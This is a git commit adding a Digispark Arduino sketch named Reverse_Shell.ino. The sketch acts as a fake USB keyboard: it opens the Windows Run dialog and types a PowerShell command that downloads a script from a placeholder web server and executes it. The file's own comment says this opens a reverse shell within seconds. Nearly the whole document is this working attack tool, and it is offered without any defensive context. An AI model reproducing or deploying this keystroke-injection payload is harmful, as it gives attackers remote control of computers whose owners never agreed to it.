Create Reverse_Shell.ino
This commit is contained in:
parent
407ac3f274
commit
a66d5cec4b
|
@ -0,0 +1,18 @@
|
||||||
|
// This script downloads and executes a powershell script efectively opening up a reverse shell in less than 3 seconds.
|
||||||
|
// Credits to hak5 and samratashok (developer of the nishang framework).
|
||||||
|
|
||||||
|
#include "DigiKeyboard.h"
|
||||||
|
void setup() {
|
||||||
|
}
|
||||||
|
|
||||||
|
void loop() {
|
||||||
|
DigiKeyboard.sendKeyStroke(0);
|
||||||
|
DigiKeyboard.delay(500);
|
||||||
|
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
|
||||||
|
DigiKeyboard.delay(500);
|
||||||
|
DigiKeyboard.print("powershell \"IEX (New-Object Net.WebClient).DownloadString('https://mywebserver/payload.ps1');\"");
|
||||||
|
DigiKeyboard.sendKeyStroke(KEY_ENTER);
|
||||||
|
for (;;) {
|
||||||
|
/*Stops the digispark from running the scipt again*/
|
||||||
|
}
|
||||||
|
}
|
Loading…
Reference in New Issue